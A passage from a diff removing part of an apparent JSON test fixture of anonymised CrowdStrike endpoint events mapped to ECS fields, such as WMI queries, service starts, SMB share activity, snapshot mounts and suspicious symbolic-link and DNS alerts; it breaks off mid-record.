-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "272b6e237d25b3c937239259405719619f9c|cfe278fcd1e293c7afdf3f1753b2d89e|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SensitiveWmiQuery\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"2069001378\",\"ContextProcessId\":\"2600380079010\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"WmiQuery\":\"8d8f8ea22b6bfbe801ecaaba1425c6a9d7\",\"ClientComputerName\":\"9b0f0662\",\"Entitlements\":\"96\",\"name\":\"887f1bbf3206d18c959\",\"EventOrigin\":\"1\",\"id\":\"272b6e237d25b3c937239259405719619f9c\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cfe278fcd1e293c7afdf3f1753b2d89e\",\"WmiNamespaceName\":\"4813\\\\155e1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "cfe278fcd1e293c7afdf3f1753b2d89e",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SensitiveWmiQuery",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "cfe278fcd1e293c7afdf3f1753b2d89e",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2600380079010"
-            },
-            "related": {
-                "hash": [
-                    "2069001378"
-                ],
-                "hosts": [
-                    "9b0f0662"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "207ef664\\d621c1"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "207ef664\\d621c1"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "240271348",
-                "ContextTimeStamp": "2025-07-15T05:39:35.986Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "45",
-                "InterfaceGuid": "b3f8252aa9cc6427351d20c3f33d3ae79e2e",
-                "InterfaceVersion": "510063",
-                "RpcClientProcessId": "5080050038080",
-                "RpcClientThreadId": "208220707353715",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "94",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f",
-                "name": "e9599fcf8f9c5676"
-            },
-            "device": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5"
-            },
-            "event": {
-                "action": "ServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"b3f8252aa9cc6427351d20c3f33d3ae79e2e\",\"RpcClientProcessId\":\"5080050038080\",\"id\":\"8b25e606b146b0ecb0d734dc9eedcd5ef49f\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1752557975.986\",\"UserName\":\"9ce650c90\",\"ConfigStateHash\":\"240271348\",\"InterfaceVersion\":\"510063\",\"RpcClientThreadId\":\"208220707353715\",\"AuthenticationId\":\"830\",\"ServiceDisplayName\":\"b0f9460\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460\",\"TargetProcessId\":\"4007891768902\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\177d568.exe\",\"RpcOpNum\":\"94\",\"Entitlements\":\"76\",\"name\":\"e9599fcf8f9c5676\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ServiceStarted",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "7f4e00945ff9549f18b040b9d6c84c6",
-                    "-2",
-                    "1c2833",
-                    "-5",
-                    "-9",
-                    "b0f9460"
-                ],
-                "args_count": 6,
-                "command_line": "7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460",
-                "entity_id": "4007891768902",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe",
-                "name": "177d568.exe",
-                "title": "b0f9460"
-            },
-            "related": {
-                "hash": [
-                    "240271348"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "9ce650c90"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "9ce650c90"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "9080101000",
-                "ContextBaseFileName": "511ab7",
-                "ContextProcessId": "107208055010",
-                "ContextTimeStamp": "2025-10-21T20:48:29.477Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-39243-24597-72335",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "1c2cb8d06c607d68fcb2877b0e000a683739",
-                "name": "d4fd2d5cb305a8abdd140a"
-            },
-            "device": {
-                "id": "61cace3ec102dbde6e5eb08963b52e9c"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "1c2cb8d06c607d68fcb2877b0e000a683739|61cace3ec102dbde6e5eb08963b52e9c|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-39243-24597-72335\",\"ContextBaseFileName\":\"511ab7\",\"FileCategory\":\"1\",\"Size\":\"8200405\",\"ContextThreadId\":\"90605908807000\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"1c2cb8d06c607d68fcb2877b0e000a683739\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SevenZipFileWritten\",\"ContextTimeStamp\":\"1761079709.477\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"107208055010\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"56\",\"name\":\"d4fd2d5cb305a8abdd140a\",\"OperationFlags\":\"0\",\"aid\":\"61cace3ec102dbde6e5eb08963b52e9c\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\ec1d12b\\\\e80c39c\\\\7d0c653b.tmp\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\b9e65ff8\\fb6901a4",
-                "directory": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c",
-                "extension": "tmp",
-                "inode": "064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8",
-                "name": "7d0c653b.tmp",
-                "path": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp",
-                "size": 8200405,
-                "type": "file"
-            },
-            "host": {
-                "id": "61cace3ec102dbde6e5eb08963b52e9c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SevenZipFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "61cace3ec102dbde6e5eb08963b52e9c",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "107208055010",
-                "name": "511ab7",
-                "thread": {
-                    "id": 90605908807000
-                }
-            },
-            "related": {
-                "hash": [
-                    "9080101000"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "S-39243-24597-72335"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-39243-24597-72335"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientComputerName": "6cfc77d1a6",
-                "ConfigStateHash": "9968901000",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "45",
-                "SmbShareName": "967ec0f7",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "56cb5eb3321a430b24ba0bebef0335c0abf6",
-                "name": "0e883005214e1c97be512a900"
-            },
-            "device": {
-                "id": "f7e49d5e0a65ac9907089989782717df"
-            },
-            "event": {
-                "action": "SmbClientShareClosedEtw",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "56cb5eb3321a430b24ba0bebef0335c0abf6|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SmbClientShareClosedEtw\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"6cfc77d1a6\",\"Entitlements\":\"26\",\"name\":\"0e883005214e1c97be512a900\",\"EventOrigin\":\"45\",\"id\":\"56cb5eb3321a430b24ba0bebef0335c0abf6\",\"SmbShareName\":\"967ec0f7\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "f7e49d5e0a65ac9907089989782717df",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SmbClientShareClosedEtw",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "f7e49d5e0a65ac9907089989782717df",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "9968901000"
-                ],
-                "hosts": [
-                    "6cfc77d1a6"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientComputerName": "e747bc",
-                "ConfigStateHash": "804061009",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "45",
-                "SmbShareName": "a4d268",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "be306cd8d3b6946b7798e88271cbf77dee2b",
-                "name": "d226521607b20089974fab726"
-            },
-            "device": {
-                "id": "e7e98921e91425b34501d7e91f6906b7"
-            },
-            "event": {
-                "action": "SmbClientShareOpenedEtw",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "be306cd8d3b6946b7798e88271cbf77dee2b|e7e98921e91425b34501d7e91f6906b7|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SmbClientShareOpenedEtw\",\"ConfigStateHash\":\"804061009\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"e747bc\",\"Entitlements\":\"36\",\"name\":\"d226521607b20089974fab726\",\"EventOrigin\":\"45\",\"id\":\"be306cd8d3b6946b7798e88271cbf77dee2b\",\"SmbShareName\":\"a4d268\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e7e98921e91425b34501d7e91f6906b7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "e7e98921e91425b34501d7e91f6906b7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SmbClientShareOpenedEtw",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e7e98921e91425b34501d7e91f6906b7",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "804061009"
-                ],
-                "hosts": [
-                    "e747bc"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "50820000",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "45",
-                "SmbShareName": "d1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f",
-                "name": "e1b2ed2cbfccda3de1aa6adee"
-            },
-            "destination": {
-                "address": "2a02:cf40::1",
-                "domain": "c53",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1"
-            },
-            "device": {
-                "id": "f5f8341524ed1dd257646890be631aee"
-            },
-            "event": {
-                "action": "SmbServerShareOpenedEtw",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"07d8f4d\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"50820000\",\"DomainName\":\"c53\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"86\",\"name\":\"e1b2ed2cbfccda3de1aa6adee\",\"EventOrigin\":\"45\",\"id\":\"73dd5ae007d4fa5b059b77f3a112dd87b35f\",\"SmbShareName\":\"d1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "f5f8341524ed1dd257646890be631aee",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SmbServerShareOpenedEtw",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "f5f8341524ed1dd257646890be631aee",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "50820000"
-                ],
-                "ip": [
-                    "81.2.69.144",
-                    "2a02:cf40::1"
-                ],
-                "user": [
-                    "07d8f4d"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "07d8f4d"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4100830266",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "45",
-                "SmbClientName": "43194ec065b",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "295a131e9dc1f5ef17daa6595049d55e40cf",
-                "name": "ba4a423304abd0ff28e43"
-            },
-            "device": {
-                "id": "c3ecc304b2ebc8216508373e45b2b7c6"
-            },
-            "event": {
-                "action": "SmbServerV1AuditEtw",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "295a131e9dc1f5ef17daa6595049d55e40cf|c3ecc304b2ebc8216508373e45b2b7c6|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"SmbServerV1AuditEtw\",\"ConfigStateHash\":\"4100830266\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"SmbClientName\":\"43194ec065b\",\"event_platform\":\"Win\",\"Entitlements\":\"76\",\"name\":\"ba4a423304abd0ff28e43\",\"EventOrigin\":\"45\",\"id\":\"295a131e9dc1f5ef17daa6595049d55e40cf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c3ecc304b2ebc8216508373e45b2b7c6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "c3ecc304b2ebc8216508373e45b2b7c6",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SmbServerV1AuditEtw",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "c3ecc304b2ebc8216508373e45b2b7c6",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "4100830266"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ContextProcessId": "5209000050507",
-                "ContextTimeStamp": "2025-08-05T12:02:22.498Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "VolumeDeviceCharacteristics": "0",
-                "VolumeDeviceObjectFlags": "420270500",
-                "VolumeDeviceType": "8",
-                "VolumeEncryptionStatus": "0",
-                "VolumeFileSystemDevice": "\\e195",
-                "VolumeFileSystemDriver": "\\6b634d3d\\e195",
-                "VolumeFileSystemType": "2",
-                "VolumeIsEncrypted": "1",
-                "VolumeLabel": "d598026",
-                "VolumeName": "\\6ba0bd\\c1eb8062",
-                "VolumeRealDeviceName": "\\6ba0bd\\c1eb8062",
-                "VolumeSectorSize": "940",
-                "VolumeSessionUUID": "a3959a6c-5919-4ac3-a15a-2a320ad21a4e",
-                "VolumeSnapshotName": "\\6ba0bd\\447b992c",
-                "VolumeSnapshotTimeStamp": "1748508106.387",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "42736e4684d2a23274632e48769919984ae5",
-                "name": "2ab84c7f9e501a2854c7e357"
-            },
-            "device": {
-                "id": "7bf30749173dbd091654e80c365263d2"
-            },
-            "event": {
-                "action": "SnapshotVolumeMounted",
-                "category": [
-                    "host",
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "42736e4684d2a23274632e48769919984ae5|7bf30749173dbd091654e80c365263d2|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"VolumeSessionUUID\":\"a3959a6c-5919-4ac3-a15a-2a320ad21a4e\",\"ContextThreadId\":\"270025735200022\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"420270500\",\"VolumeFileSystemDevice\":\"\\\\e195\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\447b992c\",\"VolumeIsEncrypted\":\"1\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\e195\",\"VolumeDeviceCharacteristics\":\"0\",\"id\":\"42736e4684d2a23274632e48769919984ae5\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SnapshotVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeSnapshotTimeStamp\":\"1748508106.387\",\"ContextTimeStamp\":\"1754395342.498\",\"VolumeSectorSize\":\"940\",\"ContextProcessId\":\"5209000050507\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeLabel\":\"d598026\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"36\",\"name\":\"2ab84c7f9e501a2854c7e357\",\"aid\":\"7bf30749173dbd091654e80c365263d2\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "7bf30749173dbd091654e80c365263d2",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SnapshotVolumeMounted",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "7bf30749173dbd091654e80c365263d2",
-                "version": "ad5.4.ae3729d.6"
-            },
-            "process": {
-                "entity_id": "5209000050507",
-                "thread": {
-                    "id": 270025735200022
-                }
-            },
-            "related": {
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8200073020",
-                "ContextProcessId": "230000690074863000",
-                "ContextTimeStamp": "2025-10-21T08:14:33.549Z",
-                "DesiredAccess": "180051",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "46",
-                "EventOrigin": "1",
-                "PatternId": "7000",
-                "Status": "0",
-                "SymbolicLinkName": "\\ae81c232\\6b8a",
-                "SymbolicLinkTarget": "\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "c5355e5f32b043d778a5628a9817ed603fe9",
-                "name": "6a8d935023cdc21ff9cca3537d2780"
-            },
-            "device": {
-                "id": "c82cce517ab3200fde3ca362e648c993"
-            },
-            "event": {
-                "action": "SuspiciousCreateSymbolicLink",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "c5355e5f32b043d778a5628a9817ed603fe9|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"Status\":\"0\",\"event_simpleName\":\"SuspiciousCreateSymbolicLink\",\"ContextTimeStamp\":\"1761034473.549\",\"SymbolicLinkName\":\"\\\\ae81c232\\\\6b8a\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"230000690074863000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\5c8f1a6.exe\\\"\",\"SymbolicLinkTarget\":\"\\\\f92fc8\\\\85d8d803\\\\f6dcb\\\\73d\\\\e8f27fd4\",\"DesiredAccess\":\"180051\",\"PatternId\":\"7000\",\"ImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\21c4c94.exe\",\"Entitlements\":\"46\",\"name\":\"6a8d935023cdc21ff9cca3537d2780\",\"EventOrigin\":\"1\",\"id\":\"c5355e5f32b043d778a5628a9817ed603fe9\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "creation",
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "c82cce517ab3200fde3ca362e648c993",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SuspiciousCreateSymbolicLink",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "c82cce517ab3200fde3ca362e648c993",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe"
-                ],
-                "args_count": 1,
-                "command_line": "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"",
-                "entity_id": "230000690074863000",
-                "executable": "\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe",
-                "name": "21c4c94.exe"
-            },
-            "related": {
-                "hash": [
-                    "8200073020"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4080600092",
-                "ContextProcessId": "5004051100005",
-                "ContextTimeStamp": "2025-05-24T14:32:51.316Z",
-                "DualRequest": "1",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InterfaceIndex": 0,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8d4c70642deafa7c185dae1766913cc2b684",
-                "name": "cecd6d00633889a0e5140e"
-            },
-            "device": {
-                "id": "e0391be8776b91e27451ffc78839341a"
-            },
-            "dns": {
-                "question": {
-                    "name": "da624cbc09cb196e3c026",
-                    "type": "CDS"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "SuspiciousDnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8d4c70642deafa7c185dae1766913cc2b684|e0391be8776b91e27451ffc78839341a|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
